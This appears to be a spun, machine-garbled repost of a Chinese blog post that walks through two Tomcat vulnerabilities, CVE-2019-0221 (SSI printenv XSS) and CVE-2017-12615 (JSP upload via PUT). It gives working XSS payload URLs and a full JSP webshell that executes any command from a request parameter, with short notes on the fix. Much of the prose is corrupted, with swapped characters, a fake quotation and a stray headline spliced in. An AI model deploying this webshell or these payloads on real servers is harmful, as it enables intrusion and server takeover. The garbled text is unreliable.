Tomcat是一个开源的轻量级Web运用做事器,在我们平常事情过程中打仗得非常多。
代码也非常经典,很多人为了提升自己的技能也会去阅读学习Tomcat的源码。
但正若有名墨客李白所说的:天下上本没有漏洞,利用的人多了,也就创造了漏洞。
比如今年的2月份就爆出了存在文件包含漏洞。

本日我们选择两个比较直不雅观的Tomcat漏洞去仿照全体漏洞被攻击的过程,以及漏洞为什么会产生,Tomcat大神们又是如何应对的。

【攻击一:XSS攻击】一、SSI技能解释

首先演示的漏洞和Tomcat的SSI功能有关,SSI是什么

jspjs中控制readonly我胜利进击了Tomcat办事器年夜佬们的反响亮了 JavaScript

SSI技能,也叫作Serve Side Includes,SSI(做事器端包含)是放置在HTML页面中的指令,并在做事页面时在做事器上对其进行评估。
它们使您可以将动态天生的内容添加到现有的HTML页面,而不必通过CGI程序或其他动态技能来供应全体页面。
利用SSI技能文件默认的后缀名为.shtml;

举例:我们可以将指令放置到现有的HTML页面中,例如:

!--#echo var="DATE_LOCAL" -->

当该页面被实行时,将会显示如下结果

Sunday, 22-March-2020 18:28:54 GMT

SSI最常见的用场之一:输出CGI程序的结果,例如``命中计数器''。
关于该技能更为详细的解释拜会:http://httpd.apache.org/docs/current/howto/ssi.html

二、为Tomcat开启SSI准备好JRE、tomcat环境,我选择的是“apache-tomcat-9.0.10” (该漏洞受影响的版本有:Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 )修正conf/context.xml第19行,开启权限

<Context privileged="true">修正conf\web.xml,开启SSI Servlet。
该段代码默认是被注释掉的,我们删除注释即可,代码在310-322行。

<servlet> <servlet-name>ssi</servlet-name> <servlet-class> org.apache.catalina.ssi.SSIServlet </servlet-class> <init-param> <param-name>buffered</param-name> <param-value>1</param-value> </init-param> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>expires</param-name> <param-value>666</param-value> </init-param> <init-param> <param-name>isVirtualWebappRelative</param-name> <param-value>false</param-value> </init-param> <load-on-startup>4</load-on-startup> </servlet>

去掉关于ssi配置的注释 422-425行

<servlet-mapping> <servlet-name>ssi</servlet-name> <url-pattern>.shtml</url-pattern> </servlet-mapping>在根目录下添加madashu_env.shtml(习气性命名为printEnv.shtml)文件,位于webapps/ROOT/ssi/

<html><head><title></title><body>Echo: <!--#echo var="QUERY_STRING_UNESCAPED" --><br/><br/>Env: <!--#printenv --></body></html>启动Tomcat即可三、发起攻击我们输入以下url看下效果

http://localhost:8080/ssi/madashu_env.shtml?%3Cbr/%3E%3Cbr/%3E%3Ch1%3EHello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%3C/h1%3E%3Cbr/%3E%3Cbr/%3E

2. XSS注入

http://localhost:8080/ssi/madashu_env.shtml?%3Cscript%3Ealert(%27Hello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%27)%3C/script%3E

攻击成功,页面展示如下。

通过这种办法我们利用户加载并实行攻击者恶意制造的网页程序,攻击者还可能得到包括但不限于更高的权限(如实行一些操作)、私密网页内容、会话和cookie等各种内容。

四、源码剖析

漏洞产生后,Tomcat大神们迅速修复了该漏洞,我们从Github上找到当时的代码修复提交记录:点击查看commit

说真的,当时看到这段修复代码我是惊呆了,这是什么骚操作!


“entity”又是什么鬼!


于是接下往下翻代码:

这个地方将我们输入的变量值直接输出到了网页,很明显刚刚的entity该当是进行了转码。
我们找到SSIMediator.java文件,路径org.apache.catalina.ssi. SSIMediator

这样我们一下子就明白过来了,当创造是“entity”编码,会将输入的内容进行Escape,从而避免了XSS。
估计大神们当时也是紧急出了个hotfix版本,直接把参数写去世成“entity”。
还有作为Web做事器,大神们竟然也会犯这么低级别的缺点,以是这也阐明了为什么不存在0Bug的系统,哈哈!
去翻看最新的SSIPrintenv.java文件,已经把“entity”定义成常量了,这才专业嘛!

【攻击二:远程代码实行】

接下来再大略演示下远程代码实行漏洞,该漏洞为高危漏洞,纵然是非默认配置,但是一旦存在漏洞,那么攻击者可以成功上传 Webshell,并掌握做事器。

通过put办法上传文件,要求进行中时进行拦截:天生恶意文件,取名叫jiansheng.jsp

<%@ page language="java" import="java.util.,java.io." pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>远程上传成功,接下来就可以愉快地在这个不属于我们自己的tomcat里玩耍了全体代码也是比较大略的,可以翻看JspServlet.java,这里就不做演示了。
解释:该漏洞影响范围非常广,从 5.x 到 9.x 全部中枪。
最好的办理办法是将 conf/web.xml 中对付 DefaultServlet 的 readonly 设置为 true。
结语

兴趣是最好的老师,我们通过去看大佬们掉过的坑,写过的代码,站在巨人的肩膀人可以更快速地提升自己。

有兴趣的小伙伴可以去看看Tomcat已爆出的漏洞:http://tomcat.apache.org/security-9.html本次演示的两个漏洞分别是CVE-2019-0221,CVE-2017-12615。

作者:码大叔

来源:https://www.cnblogs.com/madashu/p/12550149.html